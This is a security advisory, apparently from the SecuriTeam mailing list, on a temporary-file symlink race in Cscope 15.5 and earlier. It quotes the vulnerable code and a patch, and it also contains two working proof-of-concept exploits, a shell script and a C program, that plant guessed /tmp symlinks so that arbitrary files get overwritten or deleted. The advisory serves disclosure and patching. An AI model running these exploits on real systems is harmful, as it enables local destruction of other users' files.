[UNIX] CScope - Race Condition on Temporary File

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  CScope - Race Condition on Temporary File
------------------------------------------------------------------------


SUMMARY

 <http://cscope.sourceforge.net/> Cscope is a developer's tool under the 
BSD license used to browse source code. CScope is vulnerable to temporary 
file symlink vulnerability allowing a local attacker to delete arbitrary 
files in the system with CScope's privileges.

DETAILS

Vulnerable Systems:
 * Cscope Version 15.5 and lower

The temporary directory (P_tmpdir="/tmp") is badly handled in every 
myfopen() call. As we all know creation of predictable temporary file 
allows any local attacker to remove arbitrary files on the vulnerable file 
system via the infamous symlink vulnerability.

Vulnerable Code:
/src/main.c :
----------;
[...]
char temp1 [PATHLEN + 1]; /* temporary file name */
char temp2 [PATHLEN + 1]; /* temporary file name */
[...]
tmpdir = mygetenv("TMPDIR", TMPDIR);
[...]
/* create the temporary file names */
pid = getpid();
(void) sprintf(temp1, "%s/cscope%d.1", tmpdir, pid);
(void) sprintf(temp2, "%s/cscope%d.2", tmpdir, pid);
[...]

Before us are the computing of two predictable files names (resulting in a 
schema like "/tmp/cscopeNEXTPID.number"). So, we just have to probe the 
pid number and make the same template which to be used for temporary file 
creation. Then, CScope handle the files with wrong set of flags and 
compromise root file system due to symlink vulnerability.

Proof of Concept Code:
#!/bin/sh
#################################################################
# RXcscope_proof.sh
# brute force case baby
# cscope advisory and exploit by Gangstuck / Psirac <research@rexotec.com>
#################################################################

HOWM=30
CURR=`ps | grep ps | awk '{print $1}'`
NEXT=`expr $CURR + 5 + $HOWM \* 2 + 1`
LAST=`expr $NEXT + $HOWM`

echo -e "\n--= Cscope Symlink Vulnerability Exploitation =--\n"\
        " [versions 15.5 and minor]\n"\
        " Gangstuck / Psirac\n"\
        " <research@rexotec.com>\n\n"

if [ $# -lt 1 ]; then
        echo "Usage: $0 <file1> [number_of_guesses]"
        exit 1
fi

rm -f /tmp/cscope*

echo "Probed next process id ........ [${NEXT}]"

while [ ! "$NEXT" -eq "$LAST" ]; do
        ln -s $1 /tmp/cscope${NEXT}.1; NEXT=`expr $NEXT + 1`
        ln -s $1 /tmp/cscope${NEXT}.2; NEXT=`expr $NEXT + 1`
done

---8<--------8<-------cut-here-------8<---------8<---

/* RXcscope exploit version 15.5 and minor */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BSIZE 64

int
main(int ac, char *av[]) {
        pid_t cur;
        u_int i=0, lst;
        char buffer[BSIZE + 1];
        
        fprintf(stdout, "\n --[ Cscope Exploit ]--\n"\
                        " version 15.5 and minor \n" \
                        " Gangstuck / Psirac\n" \
                        " <research@rexotec.com>\n\n");
                        
        if (ac != 3) {
                fprintf(stderr, "Usage: %s <target> <max file 
creation>\n", av[0]);
                return 1;
        }
        
        cur=getpid();
        lst=cur+atoi(av[2]);
        
        fprintf(stdout, " -> Current process id is ..... [%5d]\n" \
                        " -> Last process id is ........ [%5d]\n", cur, 
lst);
        
        while (++cur != lst) {
                snprintf(buffer, BSIZE, "%s/cscope%d.%d", P_tmpdir, cur, 
(i==2) ? --i : ++i);
                symlink(av[1], buffer);
        }

        return 0;
}

Unofficial Patch:
/*
 * Cscope patch by REXOTEC - version 15-5 and minors
 * <research@rexotec.com>
 */
diff -Naurp src/build.c src/build.c
--- src/build.c 2003-03-05 11:43:59.000000000 +0100
+++ src/build.c 2004-11-17 15:01:01.000000000 +0100
@@ -333,7 +333,7 @@ build(void)
                (void) fprintf(stderr, "cscope: cannot open file %s\n", 
reffile);
                myexit(1);
        }
- if (invertedindex == YES && (postings = myfopen(temp1, "wb")) == NULL) {
+ if (invertedindex == YES && (postings = myfopen(temp1, "w+xb")) == NULL) 
{
                cannotwrite(temp1);
                cannotindex();
        }
diff -Naurp src_old/display.c src/display.c
--- src/display.c 2003-09-04 17:54:02.000000000 +0200
+++ src/display.c 2004-11-17 15:01:01.000000000 +0100
@@ -754,13 +754,13 @@ BOOL
 writerefsfound(void)
 {
        if (refsfound == NULL) {
- if ((refsfound = myfopen(temp1, "wb")) == NULL) {
+ if ((refsfound = myfopen(temp1, "w+xb")) == NULL) {
                        cannotopen(temp1);
                        return(NO);
                }
        } else {
                (void) fclose(refsfound);
- if ( (refsfound = myfopen(temp1, "wb")) == NULL) {
+ if ( (refsfound = myfopen(temp1, "w+xb")) == NULL) {
                        postmsg("Cannot reopen temporary file");
                        return(NO);
                }


ADDITIONAL INFORMATION

The information has been provided by  <mailto:research@rexotec.com> 
Gangstuck / Psirac.
The original article can be found at:  
<http://www.rexotec.com/advisory/RX171104.html> 
http://www.rexotec.com/advisory/RX171104.html



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.